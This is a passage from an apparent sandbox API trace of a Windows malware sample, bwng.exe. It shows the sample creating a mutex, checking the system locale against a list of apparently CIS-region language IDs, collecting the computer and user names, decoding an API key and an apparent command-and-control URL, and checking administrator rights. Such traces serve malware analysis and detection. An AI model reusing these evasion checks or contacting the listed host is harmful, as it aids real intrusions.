24B0A5989C055C6B9A9B4C1FAD29ABC19C97A8D97CFCA63FD96AA8ECE7C79A97417FBCE41F6C6FEA45F5693E189F4C3E8BFC030EB956F561A48E99F706DBBE6842E5B3A0C0D3949F414293A2DBD221E6217C41A\r\nD59F511A\r\n9765F2CE2C038EA4\r\n88C75E77A9E81355A0CAAAD0\r\nAF\r\nE87C2C1832757B3F6EF0D3DCAAFFC83FD1C59FD2\r\n9F727C44856A38A0F446A97A1DCCFBE03F53C59D68C252EA0E\r\n18F9845B743597512AA79D6344F9D452BC96\r\n5900AFB2C7\r\n6335A7CB3F6EF3BB31DC4FA2A45342\r\n73\r\nEAF2\r\n9E\r\nA1A856A052D009854E72EA3A27F43BB77557B34CA1600658042076472EC9C24F07D84E5D12D7F97B0A9B8EAE5885CEC81EF7E412604793C3D23D138211542395833DBC8B25F5D1D110015C6AFE044378E2265482CE95DB5CA0851D912FEB121E7AA956B5069345363F378B0C0559C0E939BBC6C4890458EC0E9E2C256E4E1191CAB4E2EFDC7BC21E568888EDE1CF2DA587E139D3A0E9844BE7F52D2BF308E12BD09F55363CD7AFC92974CD0CBE512A1A081853DF57666CAE884D178F66C3BFB69C9B57985266AA5EAD59A7248D5A77878EC755C147A73C45FABC565FE6608573A90B7DC8\r\nD8559A7CFEDA1A546A2A12FFF7267DA3F9A2AA27E9EA6D62B73D04625EC3477099306478A2A707A1D1CE\r\nD7\r\n39\r\nA2160529D5FDAC7DB5E6789C25CE85594C413141FFBAF080FF27B9\r\n612417A71B10CC4E1B7A296FAE08ABF90DC7C59C040937C768A165705E53D6\r\n8862431ACF0D65550E6449CB39F97E9C97B8\r\n541B72F3C5E19815109868CA2530DF1DBAA85C26DDAF740A4D7C30C8C36F\r\nD67636611AC3FDDF3349A5D9F7\r\n60A3A32FC08F97F3CEBD1103A407\r\nCDEEC4C359D088DB0293C854C3\r\n1B3A80A169EF346826F31EFB5267512047329708D8F90A1AAD92FC176A2FD16DA64256DFC2309AD0468841A45EEC494BEE59F27EB7CDF98C3E68BDB6F3A6DFF9712A9E9282AC4D77D8A49910A4AA9AA7A6184526657939DC5CDB2466D6263B7B77122AB4489308B50CF4921E50DA6BF46EF45BC6C04AF3EAC08C750EC6BD6CE7DE4F\r\nA6DEAA7C3B0B0A3217FE25\r\n0E267DAD00265A3BD060F09E27B98B63252F6F234D\r\n6B93B0F9684AAFAF05CDBDBA\r\n") returned 5194 [0024.833] FreeResource (hResData=0x4f7718) returned 0 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<P\x18") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<L\x18") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<H\x18") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e69eec, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="1<D\x18") returned 1 [0024.834] GetTickCount () returned 0x1151dce [0024.834] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb9c | out: lpPerformanceCount=0x18fb9c*=16678595183) returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="z睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="N睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="9睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="C睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="R睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="D睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="E睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="j睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="R睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="5睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="x睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="C睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="k睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="7睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="m睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb78, cbMultiByte=1, lpWideCharStr=0x18eb60, cchWideChar=2047 | out: lpWideCharStr="L睘ﮘ\x18\x18\x18ọ眹tX眵ﴏ眴\x02") returned 1 [0024.834] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e62aec, cbMultiByte=9, lpWideCharStr=0x18eaf0, cchWideChar=2047 | out: lpWideCharStr="MutexBWNG\x18늠滎\x18륰@Ӥ") returned 9 [0024.834] OpenMutexW (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="MutexBWNG") returned 0x0 [0024.834] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexBWNG") returned 0xe4 [0024.834] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.834] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.835] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.835] FindResourceW (hModule=0x400000, lpName="LCWL", lpType=0xa) returned 0x4f5460 [0024.835] LoadResource (hModule=0x400000, hResInfo=0x4f5460) returned 0x526104 [0024.835] SizeofResource (hModule=0x400000, hResInfo=0x4f5460) returned 0x60 [0024.835] LockResource (hResData=0x526104) returned 0x526104 [0024.835] FreeResource (hResData=0x526104) returned 0 [0024.835] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0024.835] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0024.835] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0024.835] LockResource (hResData=0x5260dc) returned 0x5260dc [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1c90, cbMultiByte=38, lpWideCharStr=0x1e8e26c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0024.835] FreeResource (hResData=0x5260dc) returned 0 [0024.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0024.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb1c94, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0024.835] GetCurrentThreadId () returned 0x5b0 [0024.835] GetCurrentThreadId () returned 0x5b0 [0024.835] GetCurrentThreadId () returned 0x5b0 [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e614d8, cbMultiByte=96, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0024.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e614d8, cbMultiByte=96, lpWideCharStr=0x1e5b37c, cchWideChar=96 | out: lpWideCharStr="1049\r\n2072\r\n2073\r\n2115\r\n1091\r\n1058\r\n1090\r\n1092\r\n1064\r\n1059\r\n1067\r\n1079\r\n1087\r\n1088\r\n1062\r\n1063\r\n") returned 96 [0024.835] GetSystemDefaultLCID () returned 0x409 [0024.835] GetUserDefaultLCID () returned 0x409 [0024.836] GetSystemDefaultLangID () returned 0x700409 [0024.836] GetUserDefaultLangID () returned 0x409 [0024.836] GetSystemDefaultUILanguage () returned 0x409 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1049", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2072", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2073", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2115", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1091", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1058", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1090", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1092", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1064", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1059", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1067", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1079", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1087", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1088", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1062", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1063", cchCount1=4, lpString2="1033", cchCount2=4) returned 3 [0024.839] GetCurrentThreadId () returned 0x5b0 [0024.839] GetCurrentThreadId () returned 0x5b0 [0024.839] GetCurrentThreadId () returned 0x5b0 [0024.839] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.839] ExpandEnvironmentStringsW (in: lpSrc="%COMPUTERNAME%", lpDst=0x1df481c, nSize=0x8000 | out: lpDst="XDUWTFONO") returned 0xa [0024.839] ExpandEnvironmentStringsW (in: lpSrc="%USERNAME%", lpDst=0x1df481c, nSize=0x8000 | out: lpDst="5p5NrGJn0jS HALPmcxz") returned 0x15 [0024.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e62a8c, cbMultiByte=12, lpWideCharStr=0x18eaec, cchWideChar=2047 | out: lpWideCharStr="BWNG_api_key늠滎\x18륰@Ӥ") returned 12 [0024.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=21, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="http://ghb.timerz.org") returned 21 [0024.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x1e8e1a4 | out: lpThreadId=0x1e8e1a4*=0xb50) returned 0xe8 [0024.840] SetThreadPriority (hThread=0xe8, nPriority=0) returned 1 [0024.840] ResumeThread (hThread=0xe8) returned 0x1 [0024.840] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff67, lpBuffer=0x18db38, cchBufferMax=4096 | out: lpBuffer="64-bit Edition") returned 0xe [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff65, lpBuffer=0x18db34, cchBufferMax=4096 | out: lpBuffer="%s Service Pack %4:d (Version %1:d.%2:d, Build %3:d, %5:s)") returned 0x3a [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff67, lpBuffer=0x18db38, cchBufferMax=4096 | out: lpBuffer="64-bit Edition") returned 0xe [0024.840] LoadStringW (in: hInstance=0x400000, uID=0xff65, lpBuffer=0x18db34, cchBufferMax=4096 | out: lpBuffer="%s Service Pack %4:d (Version %1:d.%2:d, Build %3:d, %5:s)") returned 0x3a [0024.840] GetCurrentThread () returned 0xfffffffe [0024.840] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x18fbc8 | out: TokenHandle=0x18fbc8*=0x0) returned 0 [0024.840] GetLastError () returned 0x3f0 [0024.840] GetCurrentProcess () returned 0xffffffff [0024.840] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbc8 | out: TokenHandle=0x18fbc8*=0xec) returned 1 [0024.840] GetTokenInformation (in: TokenHandle=0xec, TokenInformationClass=0x2, TokenInformation=0x1e5b370, TokenInformationLength=0x400, ReturnLength=0x18fbc4 | out: TokenInformation=0x1e5b370, ReturnLength=0x18fbc4) returned 1 [0024.840] CloseHandle (hObject=0xec) returned 1 [0024.840] AllocateAndInitializeSid (in: pIdentifierAuthority=0x4e7754, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbc0 | out: pSid=0x18fbc0*=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0024.840] EqualSid (pSid1=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1e5b3d4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0024.840] EqualSid (pSid1=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1e5b3f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0024.840] EqualSid (pSid1=0x701840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1e5b3fc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0024.841] GetCurrentProcess () returned 0xffffffff [0024.841] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbcc | out: TokenHandle=0x18fbcc*=0xec) returned 1 [0024.841] GetTokenInformation (in: TokenHandle=0xec, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbc8 | out: TokenInformation=0x0, ReturnLength=0x18fbc8) returned 0 [0024.841] GetLastError () returned 0x7a [0024.841] LocalAlloc (uFlags=0x0, uBytes=0x14) returned 0x70b178 [0024.841] GetTokenInformation (in: TokenHandle=0xec, TokenInformationClass=0x19, TokenInformation=0x70b178, TokenInformationLength=0x14, ReturnLength=0x18fbc8 